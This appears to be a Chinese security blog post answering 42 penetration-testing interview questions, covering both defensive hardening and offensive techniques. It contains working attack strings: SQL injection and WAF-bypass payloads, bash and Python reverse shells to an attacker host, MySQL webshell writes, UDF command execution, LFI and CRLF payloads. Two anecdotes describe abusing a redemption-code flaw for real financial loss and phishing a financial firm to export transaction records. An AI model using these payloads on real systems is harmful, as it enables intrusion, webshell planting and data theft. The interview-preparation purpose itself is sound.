安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
[2025年HW(护网面试) 02](#2025年HW(护网面试) 02)
[1. 有趣的挖洞经历](#1. 有趣的挖洞经历)
[2. 高频漏洞及修复方案](#2. 高频漏洞及修复方案)
[3. PHP/Java反序列化漏洞](#3. PHP/Java反序列化漏洞)
[4. 服务器入侵应急响应流程](#4. 服务器入侵应急响应流程)
[5. 常用渗透工具及特点](#5. 常用渗透工具及特点)
[6. WAF绕过案例(SQL注入)](#6. WAF绕过案例(SQL注入))
[7. SQL注入检测方法](#7. SQL注入检测方法)
[8. SQL注入全解析](#8. SQL注入全解析)
[9. 无错误回显原因](#9. 无错误回显原因)
[10. 宽字符注入原理](#10. 宽字符注入原理)
[11. CRLF注入原理](#11. CRLF注入原理)
[12. MySQL 5.0注入差异](#12. MySQL 5.0注入差异)
[13. php.ini 安全特性](#13. php.ini 安全特性)
[14. %00截断原理](#14. %00截断原理)
[15. Webshell检测方法](#15. Webshell检测方法)
[16. PHP LFI漏洞原理](#16. PHP LFI漏洞原理)
[17. 中间件解析漏洞](#17. 中间件解析漏洞)
[18. MySQL用户密码存储](#18. MySQL用户密码存储)
[19. Windows、Linux、数据库的加固降权思路(任选其一)](#19. Windows、Linux、数据库的加固降权思路(任选其一))
[20. 判断系统是否存在后门的工具](#20. 判断系统是否存在后门的工具)
[21. 绕过CDN获取目标网站真实IP的思路](#21. 绕过CDN获取目标网站真实IP的思路)
[22. 网站渗透测试思路(授权前提下)](#22. 网站渗透测试思路(授权前提下))
[23. Windows与Linux系统提权思路](#23. Windows与Linux系统提权思路)
[24. 开源组件高危漏洞(10个以上)](#24. 开源组件高危漏洞(10个以上))
[25. 反弹Shell命令及常用类型](#25. 反弹Shell命令及常用类型)
[26. CMD查询远程终端开放端口](#26. CMD查询远程终端开放端口)
[27. IIS+PHP+MySQL渗透思路(root注入漏洞)](#27. IIS+PHP+MySQL渗透思路(root注入漏洞))
[28. MySQL查询表列名语句](#28. MySQL查询表列名语句)
[29. UDF提权](#29. UDF提权)
[30. SQL头注入点](#30. SQL头注入点)
[31. PHP命令执行函数](#31. PHP命令执行函数)
[32. SSRF漏洞:成因、防御、绕过](#32. SSRF漏洞:成因、防御、绕过)
[33. MySQL写Shell的几种方法](#33. MySQL写Shell的几种方法)
[34. Metasploit打开反向监听的命令](#34. Metasploit打开反向监听的命令)
[35. 反向代理工具](#35. 反向代理工具)
[36. 曲折的渗透经历](#36. 曲折的渗透经历)
[37. 查找域控方法](#37. 查找域控方法)
[38. PHP弱类型底层判断原理](#38. PHP弱类型底层判断原理)
[39. ARP攻击原理及防御](#39. ARP攻击原理及防御)
[40. 渗透大企业 vs 小站点](#40. 渗透大企业 vs 小站点)
[41. 内网反弹Shell流量隐蔽方法](#41. 内网反弹Shell流量隐蔽方法)
[42. 非TCP/IP协议内网数据外传](#42. 非TCP/IP协议内网数据外传)
2025年HW(护网面试) 02
1、介绍一下自认为有趣的挖洞经历 2、你平时用的比较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复方案? 3、php/java反序列化漏洞的原理?解决方案? 4、如果一台服务器被入侵后,你会如何做应急响应 5、你平时使用哪些工具?以及对应工具的特点? 6、遇到waf如何进行sql注入/上传Webshell?请写出曾经绕过WAF的经过(SQLi,XSS,上传漏洞选一) 7、如何判断sql注入,有哪些方法 8、介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些? 9、为什么有的时候没有错误回显 10、宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造 11、CRLF注入的原 12、mysql的网站注入,5.0以上和5.0以下有什么区别? 13、php.ini可以设置哪些安全特性 14、php的%00截断的原理是什么? 15、webshell检测,有哪些方法 16、php的LFI,本地包含漏洞原理是什么? 17、说说常见的中间件解析漏洞利用方式 18、mysql的用户名密码是存放在那张表里面?mysql密码采用哪种加密方式? 19、Windows、Linux、数据库的加固降权思路,任选其一 20、你使用什么工具来判断系统是否存在后门 21、如何绕过CDN获取目标网站真实IP,谈谈你的思路? 22、如果给你一个网站,你的渗透测试思路是什么? 在获取书面授权的前提下。 23、谈一谈Windows系统与Linux系统提权的思路? 24、列举出您所知道的所有开源组件高危漏洞(十个以上) 25、反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么? 26、CMD命令行如何查询远程终端开放端口 27、服务器为IIS+PHP+MySQL,发现root权限注入漏洞,讲讲你的渗透思路 28、请写出Mysql5数据库中查询库'helloworld'中'users'表所有列名的语句 29、udf提权 30、SQL头注入点 31、php中命令执行涉及到的函数 32.、SSRF漏洞的成因 防御 绕过 33、mysql写shell有几种方法 34、Metasploit 打开反向监听的命令 35、有哪些反向代理的工具? 36、有什么比较曲折的渗透经历 37、怎么查找域控 38、PHP 作为弱类型语言,在底层它是怎么判断变量的类型的 39、ARP 攻击的原理(讲出具体的流程),如何发现并防御 ARP 攻击 40、渗透大企业简单还是小站点简单,为什么 41、内网如何反弹 shell,反弹的 shell 流量如何隐蔽 42、除了 TCPIP 协议,如何将内网数据传递出来(内网环境有着严格防御与审查)
1. 有趣的挖洞经历
目标 :某在线教育平台的课程兑换码系统
漏洞 :逻辑漏洞(兑换码无限生成)
过程:
- 发现兑换码生成接口未验证权限,普通用户可调用生成接口;
- 通过Burp重放请求,发现响应中直接返回有效兑换码;
- 构造批量脚本生成数万个兑换码,导致平台损失数万元;
修复方案:
- 接口添加权限校验(如JWT鉴权);
- 限制单用户生成频率(如每分钟1次);
- 兑换码使用后立即失效。
2. 高频漏洞及修复方案
漏洞类型 原理 修复方案 SQL注入 用户输入拼接SQL导致命令执行 预编译语句(MyBatis #{}) SSRF 服务端发起未校验的外部请求 禁用非常用协议,URL白名单 文件上传 未过滤文件类型和内容 MIME校验+文件头检测
3. PHP/Java反序列化漏洞
原理:
- PHP :
unserialize()
触发魔术方法(如__wakeup()
);- Java :
ObjectInputStream
反序列化触发readObject()
;
解决方案:- PHP:使用
json_decode()
替代;- Java:实现
SerializationFilter
校验类白名单。
4. 服务器入侵应急响应流程
- 隔离网络:断开网线或禁用端口;
- 备份取证 :
- 内存镜像:
dumpit.exe
(Windows)/LiME
(Linux);- 关键日志:
/var/log/auth.log
、Windows事件日志;- 分析溯源 :
- 查找后门:
find / -name "*.php" -mtime -1
;- 排查进程:
ps auxf | grep reverse_shell
;- 恢复加固:修复漏洞、重置SSH密钥。
5. 常用渗透工具及特点
工具 用途 特点 Burp Suite Web漏洞测试 插件扩展(Logger++) Nmap 端口扫描 脚本引擎(NSE) CobaltStrike 内网渗透 可视化C2控制
6. WAF绕过案例(SQL注入)
场景 :某云WAF拦截
UNION SELECT
绕过步骤:
- 注释混淆 :
UNION/*!88888abc*/SELECT 1,2,3
;- 分块传输 :
Transfer-Encoding: chunked
分割Payload;
最终Payload:
sql`id=1'/*!and*/1=2 union select 1,@@version,3-- -`
7. SQL注入检测方法
- 错误回显 :输入单引号
'
触发数据库报错;- 布尔盲注 :
and 1=1
(正常) vsand 1=2
(异常);- 时间盲注 :
and sleep(5)
观察响应延迟。
8. SQL注入全解析
成因 :动态拼接SQL(如
"SELECT * FROM users WHERE id=" + input
)
防范:
- 预编译(Java的
PreparedStatement
);- 输入过滤(正则过滤
'
和--
)。
注入方式:- Union注入、报错注入、堆叠查询;
扩展利用:- 读取文件:
LOAD_FILE('/etc/passwd')
;- 执行命令:
MySQL UDF
调用系统函数。
9. 无错误回显原因
- 配置
display_errors = Off
;- 自定义错误页面(如PHP的
error_reporting(0)
);- 前端过滤错误信息(如JSON统一封装)。
10. 宽字符注入原理
原理 :GBK编码中
%bf%27
被解析为縗'
,绕过转义(\'
→%5c%27
);
Payload:
id=%bf%27 union select 1,database(),3--+
11. CRLF注入原理
原理 :注入
%0d%0a
(回车换行)伪造HTTP头或日志;
利用:
/login?url=test%0d%0aSet-Cookie:admin=1
12. MySQL 5.0注入差异
特性 5.0以下 5.0以上 信息获取 暴力猜解表名 查 information_schema
函数权限 受限 支持 LOAD_FILE()
13. php.ini 安全特性
ini`disable_functions = system,exec,passthru # 禁用危险函数 open_basedir = /var/www/html # 限制文件访问 expose_php = Off # 隐藏PHP版本 cgi.fix_pathinfo = 0 # 防止路径解析漏洞 `
14. %00截断原理
场景 :
include($_GET['file'] . '.php')
;
利用 :file=../../etc/passwd%00
(PHP<5.3自动截断);
原理 :C语言中\x00
为字符串终止符。
15. Webshell检测方法
- 静态检测 :正则匹配
eval(
、system(
等函数;- 动态检测 :监控异常进程(如
/bin/sh -i
);- 流量分析:识别加密Webshell的固定特征(如蚁剑流量)。
16. PHP LFI漏洞原理
原理 :
include()
或require()
动态包含未过滤的文件路径;
利用:
?file=php://filter/convert.base64-encode/resource=index.php
17. 中间件解析漏洞
中间件 漏洞形式 IIS 6.0 /shell.asp;.jpg
执行ASP代码Apache file.php.jpg
解析为PHPNginx /test.jpg/test.php
触发解析
18. MySQL用户密码存储
存储表 :
mysql.user
;
加密方式:
- MySQL 5.7+:
SHA256
+ 盐;- 历史版本:
SHA1(SHA1(password))
。19. Windows、Linux、数据库的加固降权思路(任选其一)
选择Linux系统加固思路:
最小化安装:仅安装必要软件包,减少攻击面。
用户与权限控制 :
- 创建低权限用户运行服务(如
www-data
运行Web服务);- 禁用root远程登录,使用
sudo
授权普通用户;- 设置严格的文件权限(如
chmod 750 /var/www
)。防火墙配置 :
- 使用
iptables
或firewalld
限制入站端口(仅开放SSH、HTTP/HTTPS);- 默认拒绝所有入站,允许特定IP访问管理端口。
服务加固 :
禁用不必要的服务(
systemctl disable vsftpd
);配置SSH安全:
bash`# /etc/ssh/sshd_config PermitRootLogin no PasswordAuthentication no # 强制密钥登录`
日志与监控 :
- 启用
auditd
审计关键文件(如/etc/passwd
);- 配置
logrotate
防止日志溢出。
20. 判断系统是否存在后门的工具
常用工具及特点:
- Rootkit检测工具 :
chkrootkit
:检查常见rootkit特征;rkhunter
:扫描隐藏文件、异常进程等。- 进程监控 :
ps auxf
+netstat -antp
:排查异常进程与网络连接;lsof -p <PID>
:查看进程打开文件。- 文件完整性校验 :
AIDE
(高级入侵检测环境):创建文件哈希数据库,定期比对。- 内存分析 :
Volatility
:针对内存镜像分析恶意进程、隐藏模块。
21. 绕过CDN获取目标网站真实IP的思路
- 历史DNS记录 :
- 查询
SecurityTrails
、DNSdumpster
等获取历史A记录。- 子域名探测 :
- 扫描未接入CDN的子域名(如
test.example.com
),可能指向真实IP。- 邮件服务器溯源 :
- 注册网站邮箱或触发邮件(如密码重置),检查邮件头
Received
字段IP。- SSL证书匹配 :
- 在
Censys
搜索相同SSL证书的IP地址。- 敏感文件泄露 :
- 访问
/phpinfo.php
、/server-status
等可能暴露真实IP的文件。- 全球Ping :
- 使用
Cloudflare
未覆盖的地区节点(如南美、非洲)进行Ping测试(工具:Ping.eu
)。
22. 网站渗透测试思路(授权前提下)
- 信息收集 :
- 域名/IP资产(
Amass
)、端口服务(Nmap
)、目录扫描(Dirb
)。- 漏洞扫描 :
- 自动化扫描器(
Burp Suite
、Nessus
)检测SQL注入/XSS等。- 手动测试重点区域 :
- 登录/支付/密码重置功能(逻辑漏洞);
- 文件上传点(绕过黑名单);
- API接口(未授权访问)。
- 权限提升与持久化 :
- 利用系统/服务漏洞提权(如DirtyPipe);
- 写入Webshell或计划任务。
- 报告输出 :
- 清晰描述漏洞原理、复现步骤、危害及修复建议。
23. Windows与Linux系统提权思路
Windows提权:
- 内核漏洞 :
- 工具
Watson
检测未修复漏洞(如CVE-2021-34527
打印噩梦)。- 服务权限滥用 :
- 查找可写服务路径(
accesschk.exe
+sc config
修改路径)。- 凭证窃取 :
- 内存抓取密码(
Mimikatz
)、SAM数据库导出。Linux提权:
- SUID滥用 :
find / -perm -4000 2>/dev/null
查找可执行文件(如find
命令执行:find . -exec /bin/sh \;
)。- 定时任务 :
- 检查可写的Cron脚本(
/etc/cron*
)。- 环境变量劫持 :
- PATH中插入恶意路径(如替换
ls
为恶意脚本)。
24. 开源组件高危漏洞(10个以上)
组件 漏洞编号/名称 影响 Log4j CVE-2021-44228(Log4Shell) 远程代码执行(RCE) OpenSSL CVE-2014-0160(Heartbleed) 内存信息泄露 Apache Struts CVE-2017-5638 OGNL表达式RCE Spring CVE-2022-22965 远程代码执行 Fastjson CVE-2017-18349 反序列化RCE ThinkPHP CVE-2018-20062 任意文件包含 Drupal CVE-2018-7600(Drupalgeddon2) 远程代码执行 Redis 未授权访问漏洞 数据泄露/RCE Nginx CVE-2013-2028 栈溢出导致RCE GitLab CVE-2021-22205 未授权RCE
25. 反弹Shell命令及常用类型
常用命令:
bash`# Bash bash -i >& /dev/tcp/attacker_ip/port 0>&1 # Python python -c 'import socket,os,pty;s=socket.socket();s.connect(("attacker_ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' `
常用Shell类型 :
/bin/bash
或/bin/sh
原因:
- 交互性强(支持Tab补全、历史命令);
- 广泛存在于Linux系统,兼容性好。
26. CMD查询远程终端开放端口
cmd`netstat -ano | findstr "ESTABLISHED" | findstr ":3389" `
- 说明:过滤3389端口(RDP默认端口)的已建立连接。
27. IIS+PHP+MySQL渗透思路(root注入漏洞)
利用SQL注入 :
- 获取数据库信息:
union select user(),@@version,database()
;- 读取敏感文件:
' UNION SELECT LOAD_FILE('/etc/passwd'),2,3 -- -
。写入Webshell :
sql`UNION SELECT "<?php system($_GET['cmd']); ?>",2,3 INTO OUTFILE '/var/www/shell.php' `
前提:MySQL有写权限且
secure_file_priv
为空。提权 :
- 利用PHP执行系统命令,上传提权工具(如
LinEnum.sh
);- 内核漏洞提权(如
DirtyCow
)。
28. MySQL查询表列名语句
sql`SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='helloworld' AND TABLE_NAME='users'; `
29. UDF提权
步骤:
编译恶意UDF文件(如
lib_mysqludf_sys.so
);导入MySQL:
sql`CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.so'; `
执行命令:
sql`SELECT sys_exec('id > /tmp/out'); `
注意:需
plugin_dir
写权限及MySQL版本匹配。
30. SQL头注入点
指注入点在HTTP头部字段,例如:
User-Agent
:' OR 1=1-- -
;X-Forwarded-For
:127.0.0.1'; WAITFOR DELAY '0:0:5'-- -
;Cookie
:token=' UNION SELECT 1,2,3-- -
。
31. PHP命令执行函数
高危函数列表:
php``system("id"); // 执行命令并输出结果 exec("ls", $output); // 执行命令返回最后一行 passthru("cat /etc/passwd"); // 直接输出原始结果 shell_exec("whoami"); // 执行命令返回完整输出 `$_GET['cmd']`; // 反引号执行 ``
32. SSRF漏洞:成因、防御、绕过
成因 :服务端未校验用户输入的URL(如
file_get_contents($_GET['url'])
)。
防御:
- 禁止
file://
、gopher://
等危险协议;- 内网IP黑名单校验。
绕过:- IPv6地址:
http://[::1]:80/
;- DNS重绑定:利用TTL为0的域名指向内网IP(如
rbndr.us
);- 302跳转:构造恶意跳转至
127.0.0.1
。
33. MySQL写Shell的几种方法
INTO OUTFILE :
sql`SELECT "<?php eval($_POST['cmd']);?>" INTO OUTFILE '/var/www/shell.php'; `
日志文件写入 :
sql`SET global general_log_file='/var/www/shell.php'; SET global general_log=on; SELECT '<?php system($_GET["c"]);?>'; `
慢查询日志 :
sql`SET GLOBAL slow_query_log_file='/var/www/shell.php'; SET GLOBAL slow_query_log=1; SELECT '<?php system($_GET["c"]);?>' FROM SLEEP(11); `
34. Metasploit打开反向监听的命令
bash`msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.1.10 msf6 exploit(multi/handler) > set LPORT 4444 msf6 exploit(multi/handler) > run `
35. 反向代理工具
工具 特点 Ngrok 公有服务器中转,无需公网IP frp 高性能内网穿透,支持TCP/UDP reGeorg 专用于HTTP/Socks代理跳板 Chisel 加密隧道,支持多协议
36. 曲折的渗透经历
目标 :某金融机构内部系统
过程:
- 初始入口:钓鱼邮件获取员工VPN账号;
- 内网扫描:发现老旧Windows Server 2008(未打补丁);
- 提权失败:多次内核利用失败(系统加固);
- 横向移动:抓取内存密码进入数据库服务器;
- 数据获取:利用MySQL弱口令导出百万条交易记录。
关键点:通过SMB共享传播恶意计划任务绕过防护。
37. 查找域控方法
DNS查询 :
cmd`nslookup -type=SRV _ldap._tcp.dc._msdcs.example.com `
命令探测 :
cmd`net group "Domain Controllers" /domain # Windows `
端口扫描 :
- 域控通常开放389(LDAP)、88(Kerberos)等端口。
38. PHP弱类型底层判断原理
原理:
- PHP使用
zval
结构体存储变量,包含值(value
)和类型(type
);- 类型转换规则(如
"123abc" == 123
):
- 字符串转为数字时从左截取到第一个非数字字符;
- 比较时若一方为整数,另一方字符串会被转为整数再比较。
39. ARP攻击原理及防御
原理(流程):
攻击者发送伪造ARP响应包:
"我是192.168.1.1,我的MAC是XX:XX:XX(攻击者MAC)"
网关与受害者更新ARP缓存,流量被重定向到攻击者主机。
检测方法:
- ARP表异常(如多IP映射同MAC);
- 工具:
arpwatch
监控MAC变化。
防御:- 静态ARP绑定(
arp -s 网关IP 网关MAC
);- 交换机端口安全(MAC绑定)。
40. 渗透大企业 vs 小站点
大企业更难:
- 原因:
- 安全团队专业(WAF、IDS、SOC监控);
- 资产分散但防护完善(漏洞修复快);
- 代码审计严格(SDL流程)。
小站点更易:- 原因:
- 安全投入低(默认配置、弱密码);
- 缺乏维护(老旧系统未更新)。
41. 内网反弹Shell流量隐蔽方法
- 加密通信 :
- 使用HTTPS隧道(如
Stunnel
);- 工具:
Metasploit
的reverse_https
载荷。- 协议伪装 :
- 流量伪装成DNS、ICMP(工具:
DNSCat
、ICMP隧道
)。- 延时与分片 :
- 设置命令执行间隔降低流量特征(如
meterpreter
的set CommunicationTimeout
)。
42. 非TCP/IP协议内网数据外传
- 物理介质 :
- USB设备手动传递(风险高)。
- 隐蔽信道 :
- HTTP隐蔽信道 :图片隐写(
steghide
)、协议字段(如Cookie);- ICMP隐蔽信道 :利用ICMP报文载荷传递数据(工具:
icmpsh
);- DNS隐蔽信道 :将数据编码为DNS查询(如
AAAA
记录请求)。